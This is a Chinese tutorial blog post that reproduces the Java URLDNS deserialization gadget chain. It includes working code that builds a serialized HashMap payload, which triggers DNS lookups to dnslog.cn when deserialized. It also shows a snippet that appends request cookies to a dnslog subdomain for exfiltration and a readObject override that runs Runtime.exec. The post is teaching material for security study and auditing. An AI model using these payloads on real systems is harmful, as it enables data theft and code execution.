Java 中 DNS 反序列化漏洞的分析与复现

一、介绍DNS外带执行链

目标:

        为了让读者了解dns外带执行链的条件和在反序列化漏洞中的角色

1、dns外带的概念

        (1):DNS协议的工作原理

                     ①用户在浏览器中输入网址,如(www.baidu.com),然后浏览器会像DNS服务器发送DNS查询请求,询问网址对应的IP地址。

                     ②先是本地DNS服务器接收到请求后会查看缓存,如果没有该网址的缓存则会向更高层次的DNS服务器转发该请求,如根DNS服务器。

                     ③值得注意的是,根服务器并不会提供IP地址,而是会根据后缀(.com)找到负责该后缀的权威DNS服务器。

                     ④权威服务器存储了域名与IP地址的映射关系,将请求转发到最准确的DNS服务器,然后返回相对应的IP地址。

                     ⑤最后IP地址返回给本地DNS服务器并缓存起来,然后浏览器根据该IP地址访问网站。

         (2)外带的介绍和危害

                      ①外带的概念

                         ”外带“简单来说就是将数据信息隐蔽的带入或带出系统,该过程通长使用DNS请求或响应的字段来传递数据。

                      ②具体方式

                          Ⅰ DNS请求传递数据:由于DNS查询本就可以携带一些额外的信息,因此攻击者可以利用这一特点来携带一些信息,如:通过查询子域名的方式,将恶意数据编码放入到子域名当中,然后将精心构造好的请求发送给目标DNS服务器,实现信息的传递

                          Ⅱ  DNS响应传递数据:由于响应也可携带如TXT类型的数据,攻击者可以将恶意的数据分段编码写入响应中,让目标系统提取这些数据,实现信息的传递。

                       ③具体应用

                           Ⅰ  反序列化攻击:将可以执行反序列化漏洞的恶意代码序列化数据通过外带传递给目标系统,然后目标系统在对传来的数据序列化时执行恶意代码触发漏洞。

                           Ⅱ  数据窃取或命令控制:通过DNS查询使得目标系统将一些敏感信息分段发送给攻击者控制的DNS服务器,从而实现数据窃取。

                                通过DNS响应,将控制命令和恶意配置传递给被感染的系统,从而实现对目标系统的控制。

2、利用DNS执行链外带触发和传播漏洞的原理:

                (1)执行链的含义

                         “执行链”通常指的是一系列步骤或操作,这些步骤或操作链条在计算机系统中实现特定的目标,例如触发漏洞、执行恶意代码或完成某种功能。

                (2)触发和传播漏洞的原理

                           利用了DNS协议中附加记录或递归查询过程中的特性来进行攻击。比如,攻击者可以在附加记录中注入指向恶意服务器的地址。这就是常见的恶意附加记录攻击。

二、分析反序列化漏洞的条件

目标:分析和解释触发反序列化漏洞的必要条件。

1、序列化和反序列化

        序列化:将数据结构或对象转化为可以存储和传输的格式,达成对象持久化和网络传输的目的。更具体的概念和作用读者可以自行扩展。

        反序列化:将序列化文件转回成原始对象,使其恢复成对象的状态,然后能在程序中使用。

2. 反序列化漏洞的概念

        简单来说就是攻击者可以根据目标系统存在的逻辑漏洞精心构造一个序列化文件,然后当目标系统进行反序列化文件时执行恶意程序,从而导致产生各种安全问题。

3、反序列化漏洞触发条件

        条件一:首先就要确认目标程序使用了序列化和反序列化的功能。

        条件二:仔细审查代码,返现程序存在的逻辑漏洞,然后攻击者创建特定格式的序列化数据,可能包括特定的类、对象或方法。这些数据在反序列化时会导致系统执行恶意操作。

        条件三:能将序列化后的精心构造后的代码传输给目标系统,并使其反序列化执行恶意代码,这样才能达成目的。(该步骤在本文中不进行讨论,感兴趣的可以去学习)

三、复现 Java中的DNS反序列化漏洞

目标:

        提供复现漏洞的具体步骤,帮助读者理解如何验证和测试反序列化漏洞。  

1、环境准备

        (1)软件是IDEA,版本:2022.2.3.0,使用基于Maven管理的Spring框架

        (2)使用该网址测试是否产生DNS外带:www.dnslog.cn

2、复现

        (1)Java外带API

                ①在网址:www.dnslog.cn网址获取一个子域名:uumw33.dnslog.cn,如图一

                        7113caf9e1f24509a5f17782952e414b.png

图一 

                ②测试 :

Java代码:

public static void main(String[] args) throws Exception {
        //InetAddress的getByName方法  存在带外漏洞
        InetAddress byName = InetAddress.getByName("22222.uumw33.dnslog.cn");
    }

                        a1b89f1a7ee44e82a7b16985ba0d75b8.png

图二

        上述代码和图二就应证了在java中的InetAddress类的getByName方法存在dns外带漏洞,当java代码如下时带出的外带信息就不会是无用的22222了:

Java代码:

public static void main(String[] args) throws Exception {
        //InetAddress的getByName方法  存在带外漏洞
        Cookie cookie= request.getCookies();
        InetAddress byName = InetAddress.getByName(cookie + ".uumw33.dnslog.cn");
    }

        通过外带得到cookie信息,这就算做敏感信息外带。 

        ③分析:

        本小节涉及到了漏洞的起点和终点的问题,所谓起点就是漏洞代码的开始,终点就是漏洞产生,而对于本小节涉及的漏洞代码getByName来说,它既是起点,也是终点。

        对于这种既是起点又是终点的代码,它非常容易被代码审计人员发现,通过搜索就能锁定它,然后解决它,而对于起点和终点不在一起的代码来说,整条漏洞的执行链很难被发现的,这也是本文重点。

(2)反序列化外带

        ①Map集和

                这里提到Map集和就是因为它存在着很多的漏洞,它的出发点是为了方便程序员使用,允许我们通过键值对形式高效地存储和访问数据,但是越是方便的东西,构成它的底层机制就会越复杂,复杂就会导致在不经意间造成一些很隐晦的逻辑漏洞。

Map运用:

public static void main(String[] args) throws Exception {
        Map<String,String> maps = new HashMap<>();
        maps.put("a","北京");
        maps.put("b","上海");
        maps.put("c","广州");

        //对map集和进行遍历:使用keySet方法
        Set<String> keySet = maps.keySet();
        for (String key : keySet) {
            System.out.println(key + ":" + maps.get(key));
        }
    }

         ②Map隐蔽外带

                Map可以通过put就能在“没写”getByName方法的情况下进行外带,代码如下

public static void main(String[] args) throws Exception {

        Map<URL,String> maps = new HashMap<>();
        URL url = new URL("http://33333.nyq7w0.dnslog.cn");
        maps.put(url,"北京");
    }

外带产生,如图三:

 

fa97b8341f8e4485bb4d3e3a640359fa.png

图三 

        可以直观的看到,在代码中并没有getByName方法的存在和使用,但却依然产生了外带,因此,全文检索getByName就毫无作用,但是产生外带的也只有getByName,这就需要我们根据漏洞执行链的起点或者终点来推出整条执行链,之后审计人员可以修复漏洞,而攻击人员则可以借此进行攻击。

        通过上述分析,我们知道了执行链的起点:maps.put和终点:getByName,下面就是推理整条执行链的过程,然后再构造puc代码,完成对该系统的攻击。

(3)漏洞执行链推导

        第一步:在漏洞起点处打上断点执行,如图四所示:

9a28a2fbaf8f4952b0faf434869625c4.png

图四 

8cce7d7fd6f24adc8c6986ee2ee951fc.png

图五 

        第二步:找到正确的方向,进入put方法后如图六:

        红框中可以得到put方法中用到了两个方法:putVal和hash,这代表着有两个不同的方向,至于正确的方向,对于经验丰富的人员来说,可以根据Map<URL,String>的格式得知,URL处于key的位置上,而hash方法包裹了key,因此判断该方向是执行链的第二步。

        继续点击红箭头进入到hash方法中

fc6c9a27941e4ac0a844b60cc8924f94.png

图六

        第三步:进入hash方法中,如图七:

475b0081bb6d4f13b13b7d492d579c6b.png 图七 

         只有一个方法hashCoCde,且key代表的url存在与该方法中,目前来说这个执行链可以继续探索下去。继续点击下一步。

        第四步:进入hashCode方法中,如图八:

e08e7122c0414b6e81a694f0fa19694a.png

图八 

        锁定handler方法,进入该方法一探究竟

        第五步:进入handler方法,代码详情如下:

        Java代码:

protected int hashCode(URL u) {
        int h = 0;

        // Generate the protocol part.
        String protocol = u.getProtocol();
        if (protocol != null)
            h += protocol.hashCode();

        // Generate the host part.
        InetAddress addr = getHostAddress(u);
        if (addr != null) {
            h += addr.hashCode();
        } else {
            String host = u.getHost();
            if (host != null)
                h += host.toLowerCase().hashCode();
        }

        // Generate the file part.
        String file = u.getFile();
        if (file != null)
            h += file.hashCode();

        // Generate the port part.
        if (u.getPort() == -1)
            h += getDefaultPort();
        else
            h += u.getPort();

        // Generate the ref part.
        String ref = u.getRef();
        if (ref != null)
            h += ref.hashCode();

        return h;
    }

        可以看到该方法中依旧含有 getProtocol,getHostAddress等多种方法,这也代表着需要我们审查的方向多了多种,这大大增加了找到正确执行链的难度(这也就是为什么审计工作难度高,工资高),在实际情况中可根据经验去寻找最有可能的一条,如果运气不好,那就会每一条都要找一遍了。

        由于我们的key是一个url地址,那么我们凭感觉都会选择先审查getHostAddress方法,那么我们就进入该方法一探究竟。

        第六步:进入getHostAddress方法中,如图九:

a0373b1367094314a7fbeb87f8841499.png

图九 

        至此,一条正确的、完整的执行链就被我们找到了 。

执行链:

put→hash→hashCode→handler→getHostAddress→getByName

(4) 系统命令执行

                我们找到了执行链,作为攻击者可以利用这个漏洞执行链来使得目标主机执行攻击者的命令,这里就涉及到了系统命令的执行。

                在Java中,Runtime方法与系统命令执行息息相关。代码如下:

public static void main(String[] args) throws Exception {
        Runtime runtime = Runtime.getRuntime();
        runtime.exec("calc.exe");      //启动计算器
    }

        至于为什么没用new方法,这是因为Runtime方式是private修饰的,但是在框架中,被private修饰的方法都会单独构造一个静态方法用于返回当前对象 ,否则这个方法就没有存在的必要了。

0f150b72e78a420e9a15c67eaa6fd74a.png

图十 

 (5)反序列化漏洞

        ①类必须实现序列化:

Emp类代码:

package com.woniu.project_my.dns;

import java.io.IOException;
import java.io.Serializable;

public class Emp implements Serializable {
    private String name;
    private int age;

    public Emp(){

    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    @Override
    public String toString() {
        return "Emp{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }

    public void work() throws Exception {
        System.out.println("Emp work");
        Runtime runtime = Runtime.getRuntime();
        runtime.exec("calc.exe");
    }
}

序列化和反序列化代码: 

public class TestSeria {
    public static void main(String[] args) {
        String path = "E:\\se\\emp.ser";
//        Emp emp = new Emp();
//        emp.setName("woniu");
//        emp.setAge(20);
//        try {
//            Serial(emp,path);
//        } catch (Exception e) {
//            e.printStackTrace();
//        }
        try {
            Emp emp2 = Deserial(path);
            emp2.work();
        } catch (Exception e) {
            e.printStackTrace();
        }

    }

    /**
     * 序列化
     * @param emp
     * @param path
     * @throws Exception
     */
    public static void Serial(Emp emp,String path) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(path));
        oos.writeObject(emp);
        oos.close();
    }

    /**
     * 反序列化
     * @param path
     * @return
     * @throws Exception
     */
    public static Emp Deserial(String path) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(path));
        Emp emp = (Emp) ois.readObject();
        return emp;
    }
}

序列化后的文件,如图十一:

fd081d217a814930824779b5bc3136fc.png 图十一

结合两段代码来说,首先可以明确的是 ,在目标系统反序列化后是不会存在类如emp2.work();这段代码的,如图十二:

3e6d21f97e4f44709d0057d6cd8d9d91.png

图十二

        ②readObject重写

                面对图十二的问题,重写readObj方法就可以解决,如图十三

16d23080cb6340c7bb6dc989a42d2fbf.png 图十三

         重写readObject的目的就是,让目标系统在反序列化时自动执行我们的漏洞代码:

public void work() throws Exception {
        System.out.println("Emp work");
        Runtime runtime = Runtime.getRuntime();
        runtime.exec("calc.exe");
    }

         首先,对于readObject的方法,它是输入Object(所有类的父类)的类中的方法,由于在java中有着优先执行子类重写过的方法,因此,当我们在我们的漏洞代码中对readObject方法重写后,在目标主机进行反序列化形成对象后,readObject方法就可以被当作子类重写后的方法优先执行,因此只要我们将runtime.exec("calc.exe");写入重写过的readObject方法中,那么漏洞就成功产生。

        然后先找到readObjec方法,如图十四:

c2070b39a8494f3382b6c81236602125.png

图十四

下面就是我们重写后的readObject方法的代码,该段代码放置在Emp类代码中,然后删除work方法,重新序列化,然后反序列化,如果计算器执行,则重写成功。

private void readObject(java.io.ObjectInputStream s)
            throws IOException, ClassNotFoundException {
        s.defaultReadObject();
        System.out.println("Emp readObject");

        /**
         * 上面一部分就是和原readObject方法一样,下面是新增的,是我们的漏洞代码
         */
        Runtime runtime = Runtime.getRuntime();
        runtime.exec("calc.exe");
    }

        这样,我们就完成了对readObject方法的重写。而且重写后的readObject方法中有着我们的漏洞代码。

        至此,我们在不知不觉中满足了反序列化漏洞的三个要求

        Ⅰ  类必须可序列化

        Ⅱ  重写readObject方法

        Ⅲ  readObject方法中存在漏洞代码

(6)DNS外带反序列化

        做了那么多准备工作,我们找到了漏洞执行链,知道了反序列化漏洞的三个条件,最后,我们终于可以有计划和目的性的实现dns反序列化漏洞了。

        根据反序列化的三个要求,我们来检测Maps集和是否满足

        1d91941ce4b94fec9ede937f47c1ef85.png

02c80308269a4ba9822c472b2ae41789.png 2b8d0de3a4144d61881cce0522487782.png

反序列化漏洞代码(初):

public class TestDns  {

    public static void main(String[] args) throws Exception {

//        Map<URL,String> maps = new HashMap<>();
//        URL url = new URL("http://33333.p0qlwh.dnslog.cn");
//        maps.put(url,"北京");
//        Serial(maps,"E:\\se\\map.ser");    //先序列化,再注释

          Deserial("E:\\se\\map.ser");    //反序列化
    }

    static void Serial(Map<URL,String> map,String path) throws Exception{
        //序列化
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(path));
        oos.writeObject(map);
        oos.close();
    }

    static void Deserial(String path) throws Exception{
        //反序列化
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(path));
        Map<URL,String> map = (Map<URL, String>) ois.readObject();
        System.out.println(map);
    }

}

 运行代码之后就可以发现,反序列化漏洞无法成功,代码需要改进。

a198659e7df843efbf644fe71c5c9526.png

图十五 

此时hashCode的值不为-1,如图十五,导致直接return,无法执行漏洞执行链中的handler方法,这是导致失败的原因。解决方法就是,在反序列化之前先将hashCode设置为-1。如图十六得知

8351905802d742f780716079bb4364a9.png

图十六 

hashCode被private修饰,想要在漏洞代码中重新赋值为-1,则需要用到反射的方法,对于反射方法,本文不进行阐述,不了解的请查询资料并学习。

修改后的代码:

public static void main(String[] args) throws Exception {

//        Map<URL,String> maps = new HashMap<>();
//        URL url = new URL("http://33333.x5lj7s.dnslog.cn");
//        maps.put(url,"北京");
//        Serial(maps,"E:\\se\\map.ser");
//        反射操作
//        Class zclass = url.getClass();
//        Field field = zclass.getDeclaredField("hashCode");
//        field.setAccessible(true);
//        field.set(url,-1);

//      反序列化
        Deserial("E:\\se\\map.ser");
    }

    static void Serial(Map<URL,String> map,String path) throws Exception{
        //序列化
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(path));
        oos.writeObject(map);
        oos.close();
    }

    static void Deserial(String path) throws Exception{
        //反序列化
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(path));
        Map<URL,String> map = (Map<URL, String>) ois.readObject();
        System.out.println(map);
    }

实验成功!!!!

 

 

 

  • 21
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值